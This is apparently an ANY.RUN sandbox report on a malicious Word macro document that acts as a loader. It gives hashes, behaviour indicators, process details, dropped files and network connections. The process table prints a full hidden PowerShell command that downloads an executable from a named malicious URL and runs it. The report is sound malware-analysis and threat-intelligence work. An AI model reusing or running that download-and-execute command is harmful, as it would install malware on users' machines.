File name:

dffd020ef91170b68b75ec24d08e2a08afc183f486ef743e8e11d26623b09dd5.doc

Full analysis: https://app.any.run/tasks/2fb7ef7d-eadd-4397-85f9-81ecd23d5cb4
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: March 15, 2019, 01:57:33
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
opendir
loader
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, Code page: 1252, Title: ba22b9, Subject: g69d9, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Mar 14 02:40:00 2019, Last Saved Time/Date: Thu Mar 14 02:40:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Security: 0
MD5:

F4BE4A0CBE269D658981961ECF97F50C

SHA1:

E78E34B864EF5B87B34749D6F0E7D814167F6EB8

SHA256:

DFFD020EF91170B68B75EC24D08E2A08AFC183F486EF743E8E11D26623B09DD5

SSDEEP:

768:I3yAtlO83fQfzUnbwBGa32aOlJ8s7HJutv7HJ8kjH:syklO83fQfzUnbYGa3OJ8s7HJA7HJ7H

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2824)

    • Actions looks like stealing of personal data

      • j1984c.exe (PID: 2880)

    • Changes settings of System certificates

      • j1984c.exe (PID: 2880)

    • Changes the autorun value in the registry

      • j1984c.exe (PID: 2880)

    • Executes PowerShell scripts

      • WINWORD.EXE (PID: 2824)

    • Application was dropped or rewritten from another process

      • j1984c.exe (PID: 3548)
      • j1984c.exe (PID: 2880)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 3840)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3840)
      • j1984c.exe (PID: 2880)

    • Reads Internet Cache Settings

      • j1984c.exe (PID: 2880)

    • Loads DLL from Mozilla Firefox

      • j1984c.exe (PID: 2880)

    • Connects to SMTP port

      • j1984c.exe (PID: 2880)

    • Creates files in the user directory

      • j1984c.exe (PID: 2880)
      • powershell.exe (PID: 3840)

    • Adds / modifies Windows certificates

      • j1984c.exe (PID: 2880)

    • Application launched itself

      • j1984c.exe (PID: 3548)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2824)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2824)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (38.3)
.xls | Microsoft Excel sheet (alternate) (29.3)
.doc | Microsoft Word document (old ver.) (22.7)

EXIF

FlashPix

Title: ba22b9
Subject: g69d9
Author: -
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2019:03:14 02:40:00
ModifyDate: 2019:03:14 02:40:00
Pages: 1
Words: -
Characters: -
Security: None
CodePage: Windows Latin 1 (Western European)
Bytes: 11000
Lines: -
Paragraphs: -
CharCountWithSpaces: -
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: ba22b9
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
35
Monitored processes
4
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs powershell.exe j1984c.exe no specs j1984c.exe

Process information

PID
CMD
Path
Indicators
Parent process
2824"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\dffd020ef91170b68b75ec24d08e2a08afc183f486ef743e8e11d26623b09dd5.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
2880"C:\Users\admin\AppData\Roaming\j1984c.exe"C:\Users\admin\AppData\Roaming\j1984c.exe
j1984c.exe
User:
admin
Company:
G2 Wind
Integrity Level:
MEDIUM
Description:
PCA Predict
Exit code:
0
Version:
4.19.14.1
Modules
Images
c:\users\admin\appdata\roaming\j1984c.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
3548"C:\Users\admin\AppData\Roaming\j1984c.exe" C:\Users\admin\AppData\Roaming\j1984c.exe—powershell.exe
User:
admin
Company:
G2 Wind
Integrity Level:
MEDIUM
Description:
PCA Predict
Exit code:
0
Version:
4.19.14.1
Modules
Images
c:\users\admin\appdata\roaming\j1984c.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
3840"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -noprofile $g1a92ee = $env:APPDATA; $o6bef94 = $g1a92ee + '\\j1984c.exe'; If (test-path $o6bef94) {Remove-Item $o6bef94}; $d3ad5 = New-Object System.Net.WebClient; $d3ad5.Headers['User-Agent'] = 'd3ad5'; $d3ad5.DownloadFile('http://jadema.com.py/dr/dr.exe', $o6bef94); Start-Process -Filepath $o6bef94; C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
1 701
Read events
1 288
Write events
407
Delete events
6

Modification events

(PID) Process:(2824) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:0<$
Value:
303C2400080B0000010000000000000000000000
(PID) Process:(2824) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2824) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2824) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1315897374
(PID) Process:(2824) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1315897488
(PID) Process:(2824) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1315897489
(PID) Process:(2824) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
080B0000B6CC6F84D2DAD40100000000
(PID) Process:(2824) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:7=$
Value:
373D2400080B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2824) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:7=$
Value:
373D2400080B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2824) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
2
Suspicious files
2
Text files
0
Unknown types
2

Dropped files

PID
Process
Filename
Type
2824WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR9030.tmp.cvr —
MD5:—
SHA256:—
3840powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NGXYUBRN4QLR418QWLYT.temp —
MD5:—
SHA256:—
3840powershell.exeC:\Users\admin\AppData\Roaming\j1984c.exeexecutable
MD5:—
SHA256:—
3840powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:—
SHA256:—
2880j1984c.exeC:\Users\admin\AppData\Roaming\newapp\newapp.exeexecutable
MD5:—
SHA256:—
2824WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:—
SHA256:—
2824WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$fd020ef91170b68b75ec24d08e2a08afc183f486ef743e8e11d26623b09dd5.docpgc
MD5:—
SHA256:—
3840powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF199b7b.TMPbinary
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
2
DNS requests
2
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3840
powershell.exe
GET
200
192.185.73.158:80
http://jadema.com.py/dr/dr.exe
US
executable
637 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3840
powershell.exe
192.185.73.158:80
jadema.com.py
CyrusOne LLC
US
malicious
2880
j1984c.exe
108.167.141.127:587
mail.marseilleprotech.com
CyrusOne LLC
US
unknown

DNS requests

Domain
IP
Reputation
jadema.com.py
  • 192.185.73.158
malicious
mail.marseilleprotech.com
  • 108.167.141.127
unknown

Threats

PID
Process
Class
Message
3840
powershell.exe
Potentially Bad Traffic
ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile
3840
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
No debug info
Interactive malware hunting service ANY.RUN
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Reports
dffd020ef91170b68b75ec24d08e2a08afc183f486ef743e8e11d26623b09dd5.doc